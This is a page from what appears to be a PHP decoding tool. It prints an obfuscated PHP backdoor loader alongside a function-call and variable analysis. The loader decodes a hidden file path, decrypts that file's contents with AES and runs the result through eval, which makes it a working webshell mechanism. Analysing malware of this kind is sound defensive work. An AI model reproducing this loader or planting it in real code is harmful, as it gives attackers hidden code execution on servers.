Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0); session_start(); $govb6= base64_decode(base64_decode("TV..

Decoded Output download

<?php 
@error_reporting(0); 
session_start(); 
    $govb6= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55); 
    $_SESSION['k']=$govb6; 
    session_write_close(); 
    $govDr=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4")); 
    $govCCIagsGzvZYh9q='openssl'; 
    $govWcZ4Aq=gov1NNVQRHl($govDr); 
    $govfbtUjdEh="file_g".chr(101)."t_"."con".base64_decode("dGVudHM="); 
    $govnpwKfg2lq9Mc=$govfbtUjdEh($govWcZ4Aq); 
    if(!extension_loaded($govCCIagsGzvZYh9q)) 
    { 
        $gov3="base64_"."decode"; 
        $govnpwKfg2lq9Mc=$gov3("/*X]-DP@i*/".$govnpwKfg2lq9Mc); 
        for($i=0;$i<strlen($govnpwKfg2lq9Mc);$i++) { 
 
            } 
    } 
    $govnpwKfg2lq9Mc=openssl_decrypt($govnpwKfg2lq9Mc, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govb6); 
    $govxwm4OoTZhj1fIq=explode('|',$govnpwKfg2lq9Mc); 
    $govSE6xaDmg7pKyta=$govxwm4OoTZhj1fIq[1]; 
    class govXL{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}} 
    @call_user_func(new govXL(),$govSE6xaDmg7pKyta); 
    function gov1NNVQRHl($gov0){ 
    $di15 = ''; 
    $govzrPPPchILPK = (91+13329)*intval(chr(48)); 
    $govydveqsig2d = (6622-14360)*intval(chr(48)); 
    for ($i = 0, $j = strlen($gov0); $i < $j; $i++){ 
        $govzrPPPchILPK <<= 5; 
        if ($gov0[$i] >= 'a' && $gov0[$i] <= 'z'){ 
            $govzrPPPchILPK += (ord($gov0[$i]) - 97); 
        } elseif ($gov0[$i] >= '2' && $gov0[$i] <= '7') { 
            $govzrPPPchILPK += (24 + $gov0[$i]); 
        } else { 
            exit(1); 
        } 
        $govydveqsig2d += 5; 
        while ($govydveqsig2d >= 8){ 
            $govydveqsig2d -= 8; 
            $di15 .= chr($govzrPPPchILPK >> $govydveqsig2d); 
            $govzrPPPchILPK &= ((1 << $govydveqsig2d) - 1);}} 
    return $di15;} 
?>

Did this file decode correctly?

Original Code

<?php
@error_reporting(0);
session_start();
    $govb6= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55);
    $_SESSION['k']=$govb6;
    session_write_close();
    $govDr=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
    $govCCIagsGzvZYh9q='openssl';
    $govWcZ4Aq=gov1NNVQRHl($govDr);
    $govfbtUjdEh="file_g".chr(101)."t_"."con".base64_decode("dGVudHM=");
    $govnpwKfg2lq9Mc=$govfbtUjdEh($govWcZ4Aq);
    if(!extension_loaded($govCCIagsGzvZYh9q))
    {
        $gov3="base64_"."decode";
        $govnpwKfg2lq9Mc=$gov3("/*X]-DP@i*/".$govnpwKfg2lq9Mc);
        for($i=0;$i<strlen($govnpwKfg2lq9Mc);$i++) {

            }
    }
    $govnpwKfg2lq9Mc=openssl_decrypt($govnpwKfg2lq9Mc, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govb6);
    $govxwm4OoTZhj1fIq=explode('|',$govnpwKfg2lq9Mc);
    $govSE6xaDmg7pKyta=$govxwm4OoTZhj1fIq[1];
    class govXL{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}}
    @call_user_func(new govXL(),$govSE6xaDmg7pKyta);
    function gov1NNVQRHl($gov0){
    $di15 = '';
    $govzrPPPchILPK = (91+13329)*intval(chr(48));
    $govydveqsig2d = (6622-14360)*intval(chr(48));
    for ($i = 0, $j = strlen($gov0); $i < $j; $i++){
        $govzrPPPchILPK <<= 5;
        if ($gov0[$i] >= 'a' && $gov0[$i] <= 'z'){
            $govzrPPPchILPK += (ord($gov0[$i]) - 97);
        } elseif ($gov0[$i] >= '2' && $gov0[$i] <= '7') {
            $govzrPPPchILPK += (24 + $gov0[$i]);
        } else {
            exit(1);
        }
        $govydveqsig2d += 5;
        while ($govydveqsig2d >= 8){
            $govydveqsig2d -= 8;
            $di15 .= chr($govzrPPPchILPK >> $govydveqsig2d);
            $govzrPPPchILPK &= ((1 << $govydveqsig2d) - 1);}}
    return $di15;}
?>

Function Calls

chr 1
base64_decode 2
session_start 1
error_reporting 1
session_write_close 1

Variables

$govb6 b'16acacc05aafaf6'7
$_SESSION [{'key': 'k', 'value': "b'16acacc05aafaf6'7"}]

Stats

MD5 1f4a42934612b9f275fd12473bd8acd6
Eval Count 0
Decode Time 60 ms